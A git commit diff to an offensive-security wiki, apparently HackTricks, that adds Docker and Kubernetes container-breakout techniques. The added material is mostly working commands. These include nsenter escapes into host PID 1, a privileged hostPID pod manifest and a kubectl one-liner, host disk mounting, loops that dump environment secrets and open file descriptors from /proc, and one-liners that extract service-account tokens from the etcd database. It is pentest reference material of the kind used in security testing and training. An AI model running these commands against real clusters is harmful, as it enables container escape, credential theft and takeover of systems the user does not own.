GitBook: [#2960] No subject

This commit is contained in:
CPol 2022-01-20 17:55:33 +00:00 committed by gitbook-bot
parent 398de9e775
commit c3338f48a8
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
6 changed files with 228 additions and 23 deletions

View file

@ -37,6 +37,7 @@
* [release\_agent exploit - Relative Paths to PIDs](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/release\_agent-exploit-relative-paths-to-pids.md)
* [Docker release\_agent cgroups escape](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/docker-release\_agent-cgroups-escape.md)
* [Sensitive Mounts](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts.md)
* [Page 1](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/page-1.md)
* [Seccomp](linux-unix/privilege-escalation/docker-breakout/seccomp.md)
* [AppArmor](linux-unix/privilege-escalation/docker-breakout/apparmor.md)
* [Namespaces](linux-unix/privilege-escalation/docker-breakout/namespaces.md)
@ -509,6 +510,7 @@
* [Kubernetes Enumeration](pentesting/pentesting-kubernetes/enumeration-from-a-pod.md)
* [Abusing Roles/ClusterRoles](pentesting/pentesting-kubernetes/hardening-roles-clusterroles/README.md)
* [K8s Roles Abuse Lab](pentesting/pentesting-kubernetes/hardening-roles-clusterroles/k8s-roles-abuse-lab.md)
* [Pod Escape Privileges](cloud-security/pentesting-kubernetes/hardening-roles-clusterroles/pod-escape-privileges.md)
* [Pentesting Kubernetes Services](pentesting/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md)
* [Kubernetes Role-Based Access Control (RBAC)](pentesting/pentesting-kubernetes/kubernetes-role-based-access-control-rbac.md)
* [Attacking Kubernetes from inside a Pod](pentesting/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod.md)

View file

@ -0,0 +1,38 @@
# Pod Escape Privileges
## Privileged and hostPID
With these privileges you will have **access to the hosts processes** and **enough privileges to enter inside the namespace of one of the host processes**.\
Note that you can potentially not need privileged but just some capabilities and other potential defenses bypasses (like apparmor and/or seccomp).
Just executing something like the following will allow you to escape from the pod:
```bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
```
Configuration example:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: priv-and-hostpid-exec-pod
labels:
app: pentest
spec:
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
```
## Privileged only

View file

@ -80,9 +80,27 @@ The `--privileged` flag introduces significant security concerns, and the exploi
[docker-privileged.md](docker-privileged.md)
{% endcontent-ref %}
### Mounting Disk
### Privileged + hostPID
#### Poc1
With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Test it in a container executing:
```bash
docker run --rm -it --pid=host --privileged ubuntu bash
```
### Privileged
Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release\_agent or other escapes**.
Test the following bypasses in a container executing:
```bash
docker run --rm -it --privileged ubuntu bash
```
#### Mounting Disk - Poc1
Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive.
@ -97,7 +115,7 @@ mount /dev/sda1 /mnt/hola
And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder.
#### Poc2
#### Mounting Disk - Poc2
Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
@ -122,7 +140,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
debugfs /dev/sda1
```
### Abusing release\_agent
#### Privileged Escape Abusing release\_agent - PoC1
{% code title="Initial PoC" %}
```bash
@ -160,7 +178,7 @@ cat /o
```
{% endcode %}
The following is a different version, more readable, of the previous script:
#### Privileged Escape Abusing release\_agent - PoC2
{% code title="Second PoC" %}
```bash
@ -212,20 +230,7 @@ Find an **explanation of the technique** in:
[docker-release\_agent-cgroups-escape.md](docker-breakout-privilege-escalation/docker-release\_agent-cgroups-escape.md)
{% endcontent-ref %}
 `--privileged` **provides far more permissions** than needed to escape a docker container via this method. In reality, the “only” requirements are:
1. We must be **running as root** inside the container
2. The container must be run with the **`SYS_ADMIN` Linux capability**
3. The container must lack an AppArmor profile, or otherwise allow the `mount` syscall
4. The cgroup v1 virtual filesystem must be mounted read-write inside the container
The `SYS_ADMIN` capability allows a container to perform the mount syscall (see [man 7 capabilities](https://linux.die.net/man/7/capabilities)). [Docker starts containers with a restricted set of capabilities](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) by default and does not enable the `SYS_ADMIN` capability due to the security risks of doing so.
Further, Docker [starts containers with the `docker-default` AppArmor](https://docs.docker.com/engine/security/apparmor/#understand-the-policies) policy by default, which [prevents the use of the mount syscall](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) even when the container is run with `SYS_ADMIN`.
A container would be vulnerable to this technique if run with the flags: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN`
### Abusing release\_agents without knowing relative path
#### Privileged Escape Abusing release\_agent without known the relative path - PoC3
In the previous exploits the **absolute path of the continer inside the hosts filesystem is disclosed**. However, this isnt always the case. In cases where you **dont know the absolute path of the continer inside the host** you can use this technique:
@ -323,7 +328,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
```
### Sensitive Mounts
#### Privileged Escape Abusing Sensitive Mounts
There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\
The abuse of these files may allow that:
@ -340,17 +345,83 @@ However, you can find **other sensitive files** to check for in this page:
[sensitive-mounts.md](docker-breakout-privilege-escalation/sensitive-mounts.md)
{% endcontent-ref %}
### Host Networking
### Arbitrary Mounts
In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasnt correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized\_keys…
```bash
docker run --rm -it -v /:/host ubuntu bash
```
### hostPID
If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab:
```
docker run --rm -it --pid=host ubuntu bash
```
For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands.
Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running:
```bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...
```
You can also **access other processes file descriptors and read their open files**:
```bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
...omitted for brevity...
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
```
You can also **kill processes and cause a DoS**.
### hostNetwork
```
docker run --rm -it --network=host ubuntu bash
```
If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`.
For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance.
Example:
Like in the following examples:
* [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access):
{% content-ref url="../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md" %}
[kubernetes-access-to-other-clouds.md](../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md)
{% endcontent-ref %}
### hostIPC
```
docker run --rm -it --ipc=host ubuntu bash
```
If you only have `hostIPC=true`, you most likely can't do much. If any process on the host or any processes within another pod is using the hosts **inter-process communication mechanisms** (shared memory, semaphore arrays, message queues, etc.), you'll be able to read/write to those same mechanisms. The first place you'll want to look is `/dev/shm`, as it is shared between any pod with `hostIPC=true` and the host. You'll also want to check out the other IPC mechanisms with `ipcs`.
* **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm`
* **Inspect existing IPC facilities** You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a`
## CVEs
### Runc exploit (CVE-2019-5736)
In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload.
@ -368,9 +439,11 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
{% endhint %}
## Breakout Templates
### Container Breakout through Usermode helper Template
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions:
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
* Find the **path of the containers filesystem** inside the host
* You can do this via **mount**, or via **brute-force PIDs** as explained in the second release\_agent exploit
@ -388,3 +461,4 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
* [https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver)
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)

View file

@ -124,6 +124,8 @@ If you managed to **escape from the container** there are some interesting thing
* `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
* `/etc/kubernetes/pki` - **Kubernetes Key**
### Steal Secrets
```bash
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
@ -145,6 +147,76 @@ for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1
done
```
The script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) will automatically **get the tokens of other pods and check if they have the permission** you are looking for (instead of you looking 1 by 1):
```bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
```
### Pivot to Cloud
If the cluster is managed by a cloud service, usually the **Node will have a different access to the metadata** endpoint than the Pod. Therefore, try to **access the metadata endpoint from the node** (or from a pod with hostNetwork to True):
{% content-ref url="../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md" %}
[kubernetes-access-to-other-clouds.md](../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md)
{% endcontent-ref %}
### Steal etcd
If you can specify the [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) of the Node that will run the container, get a shell inside a control-plane node and get the **etcd database**:
```
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
```
control-plane nodes have the **role master** and in **cloud managed clusters you won't be able to run anything in them**.
#### Read secrets from etcd
If you can run your pod on a control-plane node using the `nodeName` selector in the pod spec, you might have easy access to the `etcd` database, which contains all of the configuration for the cluster, including all secrets.
Below is a quick and dirty way to grab secrets from `etcd` if it is running on the control-plane node you are on. If you want a more elegant solution that spins up a pod with the `etcd` client utility `etcdctl` and uses the control-plane node's credentials to connect to etcd wherever it is running, check out [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) from @mauilion.
**Check to see if `etcd` is running on the control-plane node and see where the database is (This is on a `kubeadm` created cluster)**
```
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
```
Output:
```
data-dir=/var/lib/etcd
```
**View the data in etcd database:**
```
strings /var/lib/etcd/member/snap/db | less
```
**Extract the tokens from the database and show the service account name**
```
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
```
**Same command, but some greps to only return the default token in the kube-system namespace**
```
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
```
Output:
```
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
```
## Automatic Tools
* [**https://github.com/inguardians/peirates**](https://github.com/inguardians/peirates)****

View file

@ -145,6 +145,23 @@ One-liner from [this tweet](https://twitter.com/mauilion/status/1129468485480751
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
Now that you can escape to the node check post-exploitation techniques in:
{% content-ref url="../attacking-kubernetes-from-inside-a-pod.md" %}
[attacking-kubernetes-from-inside-a-pod.md](../attacking-kubernetes-from-inside-a-pod.md)
{% endcontent-ref %}
#### Stealth
You probably want to be **stealthier**, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template:
* ****[**Privileged + hostPID**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#privileged-+-hostpid)****
* ****[**Privileged only**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#privileged)****
* ****[**hostPath**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#arbitrary-mounts)****
* ****[**hostPID**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostpid)****
* ****[**hostNetwork**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostnetwork)****
* ****[**hostIPC**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostipc)****
### Pod Create - Move to cloud
If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it.\